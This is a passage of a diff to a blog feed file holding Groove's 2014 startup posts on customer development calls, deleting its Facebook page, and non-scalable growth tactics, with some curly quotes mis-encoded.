+&lt;p&gt;I used &lt;a href=&quot;http://www.skype.com&quot;&gt;Skype&lt;/a&gt; — or my cell phone — for the calls, &lt;a href=&quot;http://www.join.me&quot;&gt;Join.me&lt;/a&gt; for screen shares to walk through Groove with the customers when I needed to, and old-school paper and pen for taking notes.&lt;/p&gt;
+
+&lt;p&gt;I compiled data in a simple Google Spreadsheet, which you can &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1DB5Jippw-09583Qcu7ka7Zl5vhSGz6yE35e5pkWLPQw/edit?usp=sharing&quot;&gt;find and copy here&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/tools.png&quot; title=&quot;The Tools&quot; alt=&quot;The Tools&quot; /&gt;
+&lt;b&gt;The Tools&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;In all, I ended up spending more than 100 hours over four weeks on customer development calls, which are still ongoing. When I shared this with a founder friend of mine, he asked a fair, and obvious, question: &lt;em&gt;why didn’t I have someone else do it, or split the calls with other team members?&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;Here’s the thing: I trust my team members tremendously. &lt;a href=&quot;http://www.groovehq.com/blog/building-a-team&quot;&gt;I don’t hire fast&lt;/a&gt; — I only hire people after I know I can rely on them to be a valuable asset to our company and a great fit for our team. It’s certainly not that I don’t trust anyone on my team enough to do customer development.&lt;/p&gt;
+
+&lt;p&gt;It’s just that I consider customer development to be &lt;em&gt;such&lt;/em&gt; a core part of building a company, that it’s simply the CEO’s job at this stage. It’s just as important as making strategy decisions or meeting with investors.&lt;/p&gt;
+
+&lt;p&gt;Plus, talking to customers isn’t the same as reading the answers someone else recorded on a spreadsheet. I wanted to &lt;em&gt;feel&lt;/em&gt; and &lt;em&gt;internalize&lt;/em&gt; our customers’ perspectives so that they could drive the other decisions I need to make.&lt;/p&gt;
+
+&lt;p&gt;And that’s why I tackled it on my own.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; You don’t need many tools to talk to your customers. And while it’s a time-consuming task, it’s one of the highest-ROI efforts you can tackle as a startup CEO.&lt;/p&gt;
+
+&lt;h2&gt;What Questions Did I Ask?&lt;/h2&gt;
+
+&lt;p&gt;I considered using a scripted series of survey questions, but ultimately decided against it.&lt;/p&gt;
+
+&lt;p&gt;I wanted raw, off-the-cuff insights into how our customers think and feel about Groove… &lt;em&gt;not&lt;/em&gt; how they think about specific questions regarding the features and elements that &lt;em&gt;we&lt;/em&gt; think are important. I didn’t want to influence any of the feedback I got with leading questions.&lt;/p&gt;
+
+&lt;p&gt;Instead, at the beginning of each call, I simply said:&lt;/p&gt;
+
+&lt;blockquote&gt;&lt;p&gt;Hey, thanks so much for agreeing to chat. I won’t take too much of your time. The conversations I’ve been having with customers have been invaluable in helping us shape the product and our plans for the future, so I’m excited to get your feedback.
+&lt;br&gt;&lt;br&gt;
+My goal is to get an overall feel of how you’re using the app, what you like, what you don’t like, and what we can do to make it better. I’ll let you take the floor.&lt;/p&gt;&lt;/blockquote&gt;
+
+&lt;p&gt;Usually, the very first thing that people told me turned out to be the most important part of their user experience, from their perspective. And often, those important elements didn’t line up &lt;em&gt;at all&lt;/em&gt; with what I had assumed people would say.&lt;/p&gt;
+
+&lt;p&gt;There were more than a few surprises, including bugs we didn’t know existed, minor (to us) features that turned out to be hugely valuable for some users, and use cases for Groove that we had never considered.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; There isn’t necessarily one “right†way to structure the conversations, but there is a clear wrong way: influencing your customers’ feedback with leading questions won’t get you the results you’re looking for.&lt;/p&gt;
+
+&lt;h2&gt;7 Big Wins From Talking to 500 of Our Customers&lt;/h2&gt;
+
+&lt;p&gt;The ultimate “win†from customer development is &lt;em&gt;deep&lt;/em&gt; insights into how our customers think, feel and use our app. That insight is absolutely critical to the growth of any business, and it’s the biggest reason I took this project on. It had an immediate impact on how we approach our product roadmap and day-to-day decisions.&lt;/p&gt;
+
+&lt;p&gt;Even if there were no other benefits, that benefit one alone would make it worthwhile.&lt;/p&gt;
+
+&lt;p&gt;With that said, there were quite a few more big wins that ended up coming about from the effort…&lt;/p&gt;
+
+&lt;h3&gt;1) We Learned That We Need Better Second-Tier Onboarding.&lt;/h3&gt;
+
+&lt;p&gt;In more than a few of the calls, customers would mention particular challenges they faced that could be solved with new features or functionality. Thing is, sometimes they were features &lt;em&gt;we already had&lt;/em&gt;; for example, third-party app integration (when looking at support tickets, users can choose to bring in data about their customers from other apps like Stripe and CRM tools). When I showed them the feature, I’d hear a painful — but valuable — reaction:&lt;/p&gt;
+
+&lt;blockquote&gt;&lt;p&gt;Wow! I didn’t know that existed.&lt;/p&gt;&lt;/blockquote&gt;
+
+&lt;p&gt;To me, that’s a clear sign that we need to improve our onboarding as users get more deeply engaged with Groove so that they can better discover some of the more advanced features. We’ve already updated our onboarding email sequence to address this, and are working on building the guidance into the app.&lt;/p&gt;
+
+&lt;h3&gt;2) We Turned Unhappy Customers Into Happy Customers.&lt;/h3&gt;
+
+&lt;p&gt;I was able to repair a handful of relationships with customers who were unhappy with the product. In once case, a customer wrote me an email criticising Groove.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/not-happy.png&quot; title=&quot;Not Happy&quot; alt=&quot;Not Happy&quot; /&gt;
+&lt;b&gt;Not Happy&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;I responded:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/the-ask.png&quot; title=&quot;The Ask&quot; alt=&quot;The Ask&quot; /&gt;
+&lt;b&gt;The Ask&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;I was a bit surprised when he agreed to get on the phone with me, but once he did, I explained that I wanted to understand why he felt the way he did, and what we could do to make it better.&lt;/p&gt;
+
+&lt;p&gt;As it turned out, he was upset about the lack of a couple of features that we had planned to build in the immediate weeks ahead. When I shared that with him, he quickly warmed up, and he’s now a much happier customer.&lt;/p&gt;
+
+&lt;p&gt;Note: it’s important to be honest here. No product is &lt;em&gt;perfect&lt;/em&gt;, and there are parts of Groove that we wish were better. Those are the parts we’re working on. But never try to convince a customer that a shitty part of your app doesn’t actually suck. You’ll lose their trust in a heartbeat.&lt;/p&gt;
+
+&lt;h3&gt;3) We Better Understood the Personas of Our Customer Base (With Some Surprises).&lt;/h3&gt;
+
+&lt;p&gt;We’ve always had (tested) assumptions about the personas of our customers. And many of them held true in these conversations. But as we’ve grown, things sure have changed.&lt;/p&gt;
+
+&lt;p&gt;I learned about several new use cases for Groove that I hadn’t considered before. For example, several of our customers are schools that use Groove to offer IT support to students and faculty.&lt;/p&gt;
+
+&lt;p&gt;For some of the newly discovered personas, there were enough examples that we’ve decided to build case studies to try and attract more users that fit those personas, or at least test the market to see if there’s a strong fit.&lt;/p&gt;
+
+&lt;h3&gt;4) We Built Better Relationships With Hundreds of Customers.&lt;/h3&gt;
+
+&lt;p&gt;This benefit can’t be understated enough: the number of positive reactions, even from customers who complained about bugs or issues, was huge. Surprisingly, I heard from many of our customers that no other businesses that they used were doing this, and that the gesture of asking them for their thoughts — not just with a mass-emailed survey, but by reaching out for a one-on-one conversation — meant a lot to them.&lt;/p&gt;
+
+&lt;p&gt;It’s amazing how easy it is to stand out with a bit of effort.&lt;/p&gt;
+
+&lt;h3&gt;5) We Got the Chance for Some Quick Customer WOW’s.&lt;/h3&gt;
+
+&lt;p&gt;Sometimes, things that bugged customers were easy fixes or updates that they had never reached out to tell us about. For example, one customer told me that about an issue they were having CC’ing people from a certain domain. This was a weird bug, but something we could fix in just a few minutes, and we ended up pushing a fix for her issue that night.&lt;/p&gt;
+
+&lt;p&gt;Her response?&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/customer-wow.png&quot; title=&quot;Customer WOW&quot; alt=&quot;Customer WOW&quot; /&gt;
+&lt;b&gt;Customer WOW&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;An easy win that helped us delight a valuable customer.&lt;/p&gt;
+
+&lt;h3&gt;6) We Learned How to Improve Our Marketing Copy.&lt;/h3&gt;
+
+&lt;p&gt;We’re always working to improve the way we position and write about Groove (see our &lt;a href=&quot;http://www.groovehq.com/blog/long-form-landing-page&quot;&gt;landing page design&lt;/a&gt; post for more). Hearing our customers talk about the app and its benefits, along with their personal stories, challenges and goals, is the only way we can write marketing copy that actually connects.&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;Talking to our customers is the only way to talk like our customers talk.&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;While I heard a lot of phrases that I was &lt;em&gt;very&lt;/em&gt; familiar with already (“Zendesk was just too complicated,†for example), I also spotted some new trends that you’ll see on our marketing site very soon.&lt;/p&gt;
+
+&lt;h3&gt;7) We Got Great Feedback Even When We Didn’t Get to Chat.&lt;/h3&gt;
+
+&lt;p&gt;Some customers couldn’t — or wouldn’t — get on the phone with me. And I completely understand; there’s nothing more valuable than time, and it’s a huge ask to disrupt someone’s day, even if for a few minutes, to talk about a product they use.&lt;/p&gt;
+
+&lt;p&gt;But while there were those I couldn’t schedule talks with, many customers chose to email me their thoughts instead.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/email-feedback.png&quot; title=&quot;Email Feedback&quot; alt=&quot;Email Feedback&quot; /&gt;
+&lt;b&gt;Email Feedback&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;These were, in many cases, just as valuable as the conversations I had.&lt;/p&gt;
+
+&lt;h2&gt;How to Act on Customer Development Feedback&lt;/h2&gt;
+
+&lt;p&gt;The feedback you get from customer development, just like any data, is useless if you don’t act on it. In fact, it’s &lt;em&gt;worse&lt;/em&gt; than useless, since you wasted no small amount of hours collecting it.&lt;/p&gt;
+
+&lt;p&gt;So to ensure that we got value out of this exercise, here are the steps we’ve taken — and are still taking — to make use of the feedback we’ve gathered:&lt;/p&gt;
+
+&lt;h3&gt;Step 1: Organize Feedback to Help You Spot Trends&lt;/h3&gt;
+
+&lt;p&gt;After each conversation, I added labels (e.g., &lt;em&gt;Search, Mailbox, Support, Automation, Pricing&lt;/em&gt;) to capture the most important things covered in each conversation.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/organization.png&quot; title=&quot;Organization&quot; alt=&quot;Organization&quot; /&gt;
+&lt;b&gt;Organization&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;This has helped us go through the data and see which topics trended throughout the conversations, so we know what customers are most vocal about.&lt;/p&gt;
+
+&lt;h3&gt;Step 2: Process the Data&lt;/h3&gt;
+
+&lt;p&gt;Once things were organized, it was easier to go through and decide how to act on various trends. Core fixes and feature requests that bubbled to the top were added to the roadmap. More ancillary features or less popular ones that had potential were added to our wishlist for future releases; we’ll continue to collect data on these requests.&lt;/p&gt;
+
+&lt;h3&gt;Step 3: Line Up Customer Case Studies&lt;/h3&gt;
+
+&lt;p&gt;In my conversations, I unearthed quite a few customers who were having a lot of success with Groove, as well as (like I mentioned) new personas that we hadn’t been targeting before. Those are both great candidates for new case studies to feature as example of Groove’s value, and we’ve already reached out to several of these customers to make it happen.&lt;/p&gt;
+
+&lt;h3&gt;Step 4: Send Thank You Emails&lt;/h3&gt;
+
+&lt;p&gt;If a customer takes time out of their day to give you feedback on their app, it’s a gift. They have a thousand other better uses (from their perspective) of their time. So thanking them is important.&lt;/p&gt;
+
+&lt;p&gt;I’ve always appreciated a thank you more when it was personal and made me feel like my contribution was valuable, so I try to do that with my own thank-you’s.&lt;/p&gt;
+
+&lt;p&gt;Each thank you notes included a brief recap of our conversation, along with any action I’m taking because of it, if any.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/thank-you.png&quot; title=&quot;Thank you.&quot; alt=&quot;Thank you.&quot; /&gt;
+&lt;b&gt;Thank you.&lt;/b&gt;&lt;/p&gt;
+
+&lt;h3&gt;Step 5: Write About the Experience&lt;/h3&gt;
+
+&lt;p&gt;This one is pretty meta, I’ll admit.&lt;/p&gt;
+
+&lt;p&gt;But as hopeful as I am that sharing my experience will be for you, it’s also incredibly valuable for me, giving me a chance to reflect on the results — and importance — of customer development. As I’ve researched this post, I’ve caught a number of things that I missed the first time I looked at my notes.&lt;/p&gt;
+
+&lt;h3&gt;Step 6: Make It a Habit&lt;/h3&gt;
+
+&lt;p&gt;We’ve now added a call to action for a customer development chat into our onboarding emails for every new customer.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/customer-development/talking-to-every-customer.png&quot; title=&quot;Talking to every customer.&quot; alt=&quot;Talking to every customer.&quot; /&gt;
+&lt;b&gt;Talking to every customer.&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Thankfully, it’ll be a lot easier to schedule calls one at a time than 2,000 at a time.&lt;/p&gt;
+
+&lt;h2&gt;How to Apply This to Your Business&lt;/h2&gt;
+
+&lt;p&gt;Getting qualitative feedback isn’t a tactic. It’s a way of doing business that startups need to live and breathe.&lt;/p&gt;
+
+&lt;p&gt;There are dozens of ways to get qualitative feedback from your customers:&lt;/p&gt;
+
+&lt;ul&gt;
+&lt;li&gt;Surveys&lt;/li&gt;
+&lt;li&gt;Net Promoter Surveys&lt;/li&gt;
+&lt;li&gt;Emails&lt;/li&gt;
+&lt;li&gt;Live Chat&lt;/li&gt;
+&lt;/ul&gt;
+
+
+&lt;p&gt;And we use all of those strategies. But none has been quite as mindblowingly valuable as actually taking the time to talk to our customers. It has changed our product, our business and the way we think. It’s certainly been responsible for any growth we’ve had.&lt;/p&gt;
+
+&lt;p&gt;You don’t have to go on a mission to talk to every single customer. But reach out to a handful today. You might learn something that will change your business.&lt;/p&gt;
+</content>
+<published>2014-10-09T00:00:00+00:00</published>
+<updated>2014-10-09T00:00:00+00:00</updated>
+</entry>
+<entry>
+<title>We Deleted Our Facebook Page. Here’s Why.</title>
+<link href='/blog/focus' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-10-02:/blog/focus</id>
+<content type='html'>&lt;p&gt;There are lots of tactics you’re “supposed†to use. Here’s why that’s dangerous…&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;“Screw it. Let’s just delete the thing.â€&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;Something felt &lt;em&gt;odd&lt;/em&gt; about saying that.&lt;/p&gt;
+
+&lt;p&gt;Like we were about to break the rules.&lt;/p&gt;
+
+&lt;p&gt;But the more we discussed it, the more obvious the choice became: our company Facebook account had to go.&lt;/p&gt;
+
+&lt;p&gt;There were two major factors that drove the call:&lt;/p&gt;
+
+&lt;h3&gt;1) Frankly, It Was &lt;em&gt;Embarrassing&lt;/em&gt;.&lt;/h3&gt;
+
+&lt;p&gt;We have more than 2,000 customers, 20,000 blog subscribers and many thousands of unique visitors each week. And yet Groove had just under 200 “Likes†on Facebook.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/focus/under-200-likes.jpg&quot; title=&quot;197 Likes&quot; alt=&quot;197 Likes&quot; /&gt;
+&lt;b&gt;197 Likes&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Not really something I want people searching for us on Facebook to see.&lt;/p&gt;
+
+&lt;h3&gt;2) It Was a Waste of Time for Us.&lt;/h3&gt;
+
+&lt;p&gt;Now, I’m NOT saying that Facebook is a waste of time for businesses. Many companies use Facebook very successfully to grow.&lt;/p&gt;
+
+&lt;p&gt;But we were spending an hour or so each week updating the page. Obviously, we weren’t getting any results.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/focus/no-results.png&quot; title=&quot;No Results&quot; alt=&quot;No Results&quot; /&gt;
+&lt;b&gt;No Results&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;And when we spent time discussing it and thinking about &lt;em&gt;why we were doing it in the first place&lt;/em&gt;, the answer was simple, straightforward, and just as embarrassing as our Like count.&lt;/p&gt;
+
+&lt;p&gt;We were on Facebook because everybody else was. It was what we were “supposed†to be doing.&lt;/p&gt;
+
+&lt;p&gt;And that’s just not good enough.&lt;/p&gt;
+
+&lt;h2&gt;Using Time Wisely&lt;/h2&gt;
+
+&lt;p&gt;Like most other startups and small businesses, we have limited resources.&lt;/p&gt;
+
+&lt;p&gt;So when we got together to build our &lt;a href=&quot;http://www.groovehq.com/blog/12-month-growth-strategy&quot;&gt;12-month growth strategy&lt;/a&gt;, the question wasn’t &lt;em&gt;“what are the things we could be doing?â€&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;The question was &lt;em&gt;“what efforts would be the highest and best use of every team member’s time?â€&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;That is, what can we do that will drive the biggest growth for Groove?&lt;/p&gt;
+
+&lt;p&gt;For example, we &lt;em&gt;know&lt;/em&gt; that blogging helps us grow, because we track the numbers carefully.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/doubling-down-on-content/blog-signups-now.png&quot; title=&quot;The ROI of Blogging&quot; alt=&quot;The ROI of Blogging&quot; /&gt;
+&lt;b&gt;The ROI of Blogging&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;On the other hand, we can’t tie our Facebook efforts to any revenue at all.&lt;/p&gt;
+
+&lt;p&gt;Every hour that we spend managing the Facebook page is an hour that we could spend building the blog. An hour each week may seem insignificant, but that’s 52 hours in a year.&lt;/p&gt;
+
+&lt;p&gt;The amount of traffic and signups we could get by spending 52 more hours on the blog is significant.&lt;/p&gt;
+
+&lt;p&gt;And yet, we were robbing the blog of 52 hours of added time because of our blind, knee-jerk tendency to do what we were “supposed†to.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; It can be surprising to learn how much time you’re wasting without even knowing it. It certainly was for us. Do the math and figure out the opportunity cost of doing things that don’t work.&lt;/p&gt;
+
+&lt;h2&gt;Three Things We Don’t Do That We’re “Supposed†To&lt;/h2&gt;
+
+&lt;p&gt;There are dozens — probably hundreds — of tactics out there that one expert or another will claim as being a “must-do†for every business.&lt;/p&gt;
+
+&lt;p&gt;And so, so many businesses do those things. That’s why it’s so hard, on a mental level, to wrap our heads around the fact that often, most of those tactics probably aren’t that useful to us.&lt;/p&gt;
+
+&lt;p&gt;It’s something I’ve struggled with a lot.&lt;/p&gt;
+
+&lt;p&gt;As metrics-driven as I like to think we are, it’s tough to pull away from doing the things we think we’re supposed to be doing. I’d be lying if I said I didn’t feel a little bit guilty deleting the Facebook page.&lt;/p&gt;
+
+&lt;p&gt;But in the end, it’s a win for the thing that matters most: the performance of the business.&lt;/p&gt;
+
+&lt;p&gt;Facebook isn’t the only “must-do†tactic that we’ve dropped over the past few months:&lt;/p&gt;
+
+&lt;h3&gt;1) Networking Events&lt;/h3&gt;
+
+&lt;p&gt;Early on, a lot of people told me that I needed to get out there and build relationships, and that the best way to do that was by going to networking events.&lt;/p&gt;
+
+&lt;p&gt;I found that while the first part was absolutely 100% true, the latter was not. I met some interesting folks at events, but of the most high-value relationships I have, zero of them started at networking events.&lt;/p&gt;
+
+&lt;h3&gt;2) Conferences&lt;/h3&gt;
+
+&lt;p&gt;Having a booth with your logo on it at a conference like DreamForce or South By Southwest is almost considered a rite of passage for growing tech startups.&lt;/p&gt;
+
+&lt;p&gt;While it’s nice to see your name up there, we’ve experimented with trade shows, and they’ve never driven the sorts of high-quality leads that we get from our other efforts. Plus, they cost a lot more time and money.&lt;/p&gt;
+
+&lt;h3&gt;3) PR&lt;/h3&gt;
+
+&lt;p&gt;When we launched, we had put quite a bit of time and effort into building relationships with journalists, and it &lt;em&gt;did&lt;/em&gt; &lt;a href=&quot;http://thenextweb.com/apps/2011/07/12/groove-the-new-app-is-a-breath-of-fresh-air-for-customer-support/&quot;&gt;pay off&lt;/a&gt;.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/focus/press.png&quot; title=&quot;Press&quot; alt=&quot;Press&quot; /&gt;
+&lt;b&gt;Press&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;As it does for many businesses, getting mentioned in a high-profile publication drove traffic and got us a big handful of signups.&lt;/p&gt;
+
+&lt;p&gt;But as we grew, the return on the PR traffic splashes began to lessen. The signups were often of lower quality, churning faster than users who signed up via the blog or other channels. Eventually, we pulled the plug.&lt;/p&gt;
+
+&lt;p&gt;I think it’s important to note something here, because I can picture the angry comments we’re going to get from social media consultants and event organizers. The above isn’t a list of “growth strategies that don’t work.â€&lt;/p&gt;
+
+&lt;p&gt;In fact, almost the opposite is true: they’ve worked so well for some people that they’ve somehow been added to a sacred list of things that every startup “mustâ€&lt;em&gt; &lt;/em&gt;be doing.&lt;/p&gt;
+
+&lt;p&gt;We’ve consciously decided &lt;em&gt;not&lt;/em&gt; to do those things, and it’s helped us. What works for others may be different.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Don’t let “must-do†lists dictate the way you use your time. Instead, run tests, figure out what actually works for you, and focus as many of your resources as you can on those winners.&lt;/p&gt;
+
+&lt;h2&gt;Our Three “Focus†Tactics Today&lt;/h2&gt;
+
+&lt;p&gt;There are tactics we’re focusing as many of our resources as possible right now.&lt;/p&gt;
+
+&lt;p&gt;In fact, every so often, someone will comment on how much time we spend on the blog.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/focus/making-time.png&quot; title=&quot;Making Time&quot; alt=&quot;Making Time&quot; /&gt;
+&lt;b&gt;Making Time&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;But just as I believe in cutting mercilessly when it comes to non-performing tactics, I believe in making massive amounts of time available to do the things that work. Fortunately, with enough work on the former goal, the latter becomes easier.&lt;/p&gt;
+
+&lt;p&gt;While there are other things we’re working on, these are the three big “focus†tactics that we’re giving a disproportionate amount of our resources to today:&lt;/p&gt;
+
+&lt;h3&gt;1) Blogging&lt;/h3&gt;
+
+&lt;p&gt;It may seem crazy to spend more than 20% of my time on it, but the &lt;a href=&quot;http://www.groovehq.com/blog/roi-of-blog&quot;&gt;ROI of this blog&lt;/a&gt; speaks for itself. And that’s the reason we’re &lt;a href=&quot;http://www.groovehq.com/blog/doubling-down-on-content&quot;&gt;doubling down on content&lt;/a&gt;, too.&lt;/p&gt;
+
+&lt;h3&gt;2) Customer Development&lt;/h3&gt;
+
+&lt;p&gt;We’ve gotten such high returns from talking to our customers one-on-one that I’m &lt;a href=&quot;http://www.groovehq.com/blog/non-scaleable-growth-tactics&quot;&gt;dedicating hundreds of hours&lt;/a&gt; over the next few months to having customer conversations. Again, it may sound like a ridiculous amount of time, but if anything is important enough, we’ll all make time for it.&lt;/p&gt;
+
+&lt;h3&gt;3) Metrics&lt;/h3&gt;
+
+&lt;p&gt;Next week, I’ll publish a post that dives deep into how we used core metrics to change the way we run our business, and transformed our growth as a result. That never would have happened if I hadn’t pulled one of our engineers off of product development for more than a week to set up a thorough tracking system.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Don’t be scared of spending “too much†time on something, as long as there’s a payoff. There’s no good guideline for how much time to spend on tactics X, Y and Z, because there’s no business that operates exactly like yours.&lt;/p&gt;
+
+&lt;h2&gt;How to Apply This to Your Business&lt;/h2&gt;
+
+&lt;p&gt;I hesitated to publish the actual lists of tactics that we do and don’t use, because I think that they’re secondary to — and possibly distracting from — the main takeaway of this post.&lt;/p&gt;
+
+&lt;p&gt;In the end, I kept them because I think they serve as helpful examples, but I hope that what you’ll take away is this: your time is far too precious (and failure nearly always too near) to spend even an hour of it spinning your wheels.&lt;/p&gt;
+
+&lt;p&gt;Doing things that don’t work isn’t a bad thing on it’s own. In fact, it’s the only way we grow and find what actually &lt;em&gt;does&lt;/em&gt; work.&lt;/p&gt;
+
+&lt;p&gt;But doing things that don’t work over and over again, simply because you think you’re “supposed†to be doing them, is actively and aggressively damaging to your business.&lt;/p&gt;
+
+&lt;p&gt;Not too long ago, I needed a reminder of that. I hope that my reminder is helpful to you, too.&lt;/p&gt;
+</content>
+<published>2014-10-02T00:00:00+00:00</published>
+<updated>2014-10-02T00:00:00+00:00</updated>
+</entry>
+<entry>
+<title>How We Got 2,000+ Customers by Doing Things That Didn’t Scale</title>
+<link href='/blog/non-scaleable-growth-tactics' rel='alternate' type='text/html' />
+<id>tag:blog1.groovehq.com,2014-09-25:/blog/non-scaleable-growth-tactics</id>
+<content type='html'>&lt;p&gt;Some of our growth tactics will never scale. Here’s why we’re okay with that…&lt;/p&gt;
+
+&lt;p&gt;“I could tell you what we’re doing, but it wouldn’t help you.â€&lt;/p&gt;
+
+&lt;p&gt;When I was getting ready to launch Groove, I spent a lot of time talking to other founders. And I would almost &lt;em&gt;always&lt;/em&gt; start with the wrong question:&lt;/p&gt;
+
+&lt;p&gt;&lt;em&gt;What are you guys doing for user acquisition?&lt;/em&gt;&lt;/p&gt;
+
+&lt;p&gt;Sometimes, they’d play along and clue me in to what they were up to.&lt;/p&gt;
+
+&lt;p&gt;Invariably, they were the types of things that help later-stage companies become very successful: referrals, upselling, advertising. The spectrum was &lt;em&gt;huge&lt;/em&gt;, and I was a little overwhelmed, though planning on trying everything I could.&lt;/p&gt;
+
+&lt;p&gt;Until finally, one founder graciously called me out.&lt;/p&gt;
+
+&lt;p&gt;“Look, I could tell you what we’re doing, but it wouldn’t help you. We have 10,000 customers. You have zero. You need to focus on your first &lt;em&gt;five&lt;/em&gt; customers.â€&lt;/p&gt;
+
+&lt;p&gt;He went on to share some of the things that he did when they were working to get their first handful of users.&lt;/p&gt;
+
+&lt;p&gt;I hadn’t heard &lt;em&gt;anything&lt;/em&gt; like it in my other conversations.&lt;/p&gt;
+
+&lt;p&gt;They scrapped, clawed and fought hard for every single customer in their early days. The founder would spend many hours with every single customer, learning, coaching and making sure that they had a positive experience.&lt;/p&gt;
+
+&lt;p&gt;None of it was scaleable, but it didn’t matter. Without it, he told me, they’d never get the &lt;em&gt;chance&lt;/em&gt; to scale.&lt;/p&gt;
+
+&lt;p&gt;That chat changed the way I thought about growth.&lt;/p&gt;
+
+&lt;p&gt;By now, nearly everyone in the startup space has read Paul Graham’s brilliant essay, &lt;em&gt;&lt;a href=&quot;http://paulgraham.com/ds.html&quot;&gt;Do Things That Don’t Scale&lt;/a&gt;&lt;/em&gt;. And if you haven’t, you absolutely should. He shares some great examples of things that now-successful startups did to get customers in their early days; tactics that would &lt;em&gt;never&lt;/em&gt; work for a larger, high-volume business.&lt;/p&gt;
+
+&lt;p&gt;We’ve also done a number of things at Groove that are far from scaleable. We now have 2,000+ companies signed up, but our growth approach has been to get one customer at a time.&lt;/p&gt;
+
+&lt;p&gt;Below are six of the most valuable non-scaleable growth tactics we’ve used to get customers for Groove:&lt;/p&gt;
+
+&lt;h3&gt;1) “You’re In†Email&lt;/h3&gt;
+
+&lt;p&gt;I’ve mentioned this before, but one of our biggest onboarding wins has come from our “You’re In†email.&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/testimonials/you-are-in.png&quot; title=&quot;“You’re In†Email&quot; alt=&quot;“You’re In†Email&quot; /&gt;
+&lt;b&gt;“You’re In†Email&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;The insights we’ve gotten early on from the responses to that email have been game-changing.&lt;/p&gt;
+
+&lt;p&gt;We’ve been able to transform our messaging based on what we learned is most important to new customers, and we’ve been able to build deeper relationships with those customers by helping them with whatever unique goals or challenges drove them to sign up.&lt;/p&gt;
+
+&lt;p&gt;I still read — and act on — every single response I get.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Learning why new customers decided to sign up is incredibly valuable. It informs your marketing and makes your customers’ experiences better. This is a lot easier with a handful of customers than with many.&lt;/p&gt;
+
+&lt;h3&gt;2) Customer Development&lt;/h3&gt;
+
+&lt;p&gt;Earlier this month, I sent an email to our customers:&lt;/p&gt;
+
+&lt;p&gt;&lt;img src=&quot;/attachments/blog/non-scaleable-growth-tactics/a-request.png&quot; title=&quot;A Request&quot; alt=&quot;A Request&quot; /&gt;
+&lt;b&gt;A Request&lt;/b&gt;&lt;/p&gt;
+
+&lt;p&gt;Over the years, there’s nothing that’s been more valuable for us as a growth tool than one on one conversations with our customers.&lt;/p&gt;
+
+&lt;p&gt;And over the next few months, I’m blocking off hundreds of hours of time to talk to every single one of them.&lt;/p&gt;
+
+&lt;p&gt;I had nearly 30 of these calls last week, and this isn’t the first time we’ve done this. I’ve already gotten some feedback that we’re using to improve the product.&lt;/p&gt;
+
+&lt;p&gt;At 2,000 customers, me talking to all of them is probably crazy. At 5,000, it’s practically impossible.&lt;/p&gt;
+
+&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Early on, there’s nothing you can do that’ll inform your strategy better than talking to your customers. There’s no other way to deeply understand their challenges, and get a true sense for their experience with your product.&lt;/p&gt;
+
+&lt;h3&gt;3) Content Promotion&lt;/h3&gt;
+
+&lt;p&gt;When we first launched this blog, we built our audience &lt;em&gt;&lt;a href=&quot;http://www.groovehq.com/blog/1000-subscribers&quot;&gt;one influencer at a time&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
+
+&lt;p&gt;I spent many, many hours emailing people and building relationships to help us get our content into people’s hands.&lt;/p&gt;
+
+&lt;p&gt;There’s no doubt in my mind that &lt;a href=&quot;http://www.groovehq.com/blog/doubling-down-on-content&quot;&gt;it was worth it&lt;/a&gt;.&lt;/p&gt;
+
